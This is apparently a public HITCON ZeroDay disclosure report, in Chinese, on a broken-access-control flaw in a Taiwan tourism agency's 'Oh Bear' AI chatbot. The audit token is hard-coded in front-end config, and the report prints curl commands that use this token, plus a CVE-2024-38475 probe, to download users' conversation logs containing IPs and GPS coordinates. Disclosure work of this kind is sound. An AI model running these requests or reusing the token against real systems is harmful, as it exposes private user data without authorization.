Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00291
- Vendor: {交通部觀光署}
- Title: 交通部觀光署Audit API 對話記錄未授權存取(含使用者IP、GPS定位、完整對話內容)
- Introduction: 該單位AI小幫手的 Audit Token 直接寫死在前端 Nuxt config,拿到 token 就能打 /api/audit 把 114 天所有使用者對話全部載下來,裡面有 IP、GPS 座標、完整聊天內容。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/02/12 15:14:10 : 新提交 (由 鄉民 更新此狀態)
- 2026/02/12 15:26:56 : 新提交 (由 鄉民 更新此狀態)
- 2026/02/23 19:51:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/02/26 18:58:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/02/26 18:58:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/02/26 18:58:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/04/28 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00291
- 通報者:鄉民
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
敘述
qa.taiwan.net.tw 上的「喔熊 AI 小幫手」聊天機器人有一個 Audit API,用來記錄所有使用者跟 AI 的對話。這個 API 的認證 token 直接寫在前端
Nuxt.js 的 public config 裡面,任何人都能取得。
拿到 token 之後,打 /api/audit 就能拿到從 2025-10-21 至今
共 114 天的所有對話記錄,資料包含:使用者真實 IP、GPS 座標(精確到小數點 15 位)、完整的問題內容、AI 的回答、甚至 AI 內部的 thinking 推理過程都看得到。
先試打CVE-2024-38475,CVE 本身全部沒打成功
curl -si "https://qa.taiwan.net.tw/chat/api/%3F.env" \
-H "X-Client-Ip: XXX.XXX.XXX" | head -20
但是 %3F.env 那個回來的 200 回應是一整頁 HTML,
裡面最下面有一段 <script>:
<script>
window.NUXT={};
window.NUXT.config={public:{
baseURL:"/chat/",
enableMock:"false",
apiMode:"",
auditToken:"ohbear-audit-2026", ← 這是什麼?
gtag:{enabled:true,id:"G-75KMY41JN1"},
buildId:"6f6a01af-521f-XXX1-a49c-dXXX9c34abfa4",
i18n:{...}
</script>
auditToken 直接明文寫在 config.public
從前端打包過的 JS 原始碼裡面 grep auditToken,
在 CUOyfvJT.js(288KB,Vue runtime + middleware)裡找到
audit 頁面的 middleware 驗證邏輯,確認:
- 有 /audit 路由,前端 middleware 會比對 token
- header 名稱是 X-Audit-Token
- 前端 middleware 擋不了什麼,因為 token 本身就是公開的
curl -s "https://qa.taiwan.net.tw/chat/api/audit" \
-H "X-Audit-Token: ohbear-audit-2026" \
-H "X-Client-Ip: 172.XX.XX.XX"
回傳 Json 114 個日期:["2025-10-21","2025-10-22","2025-10-23",...,"2026-02-11","2026-02-12"]
"https://qa.taiwan.net.tw/chat/api/audit/2026-02-12" \
-H "X-Audit-Token: ohbear-audit-2026" \
-H "X-Client-Ip: 172.XX.XX.XX" \
-o audit_20260212.json
外洩的資料大概如下(已脫敏)
{
"timestamp": "2026-02-12T05:45:59.728Z",
"method": "POST",
"path": "/api/stream?session_id=session-XXXXX-XXXX",
"statusCode": 200,
"duration": 21132,
"clientIp": "XX.XXX.XX.91",
"requestData": {
"message_text": "新竹有哪些台灣好行套票"
},
"proxyDetails": {
"upstreamRequest": {
"url": "https://faninsights.io/index.php/api/motc_claude/qa/stream"
},
"processedEvents": [
{
"event": "thinking",
"data": { "content": [{"type":"thinking_text", ...}] }
},
{
"event": "result",
"data": { "streamId": "stream-...", "sequence": 1, ... }
}
]
}
}
本次外洩整理
使用者真實IP,GPS 座標(精準到小數點第15位),完整查詢,AI回覆,Session_ID,上游真實 API:faninsights.io 的完整 URL 跟 request 格式
以及Google Map API
在回傳檔案中, 每筆記錄的 proxyDetails 裡面有完整的 upstream
https://faninsights.io/index.php/api/motc_claude/qa/stream
https://faninsights.io/index.php/api/motc_claude/get_my_weather
修補建議
馬上把 auditToken 從前端 config.public 移掉
現有 token 立刻作廢
Audit API 改成需要後台登入才能用,加 IP 白名單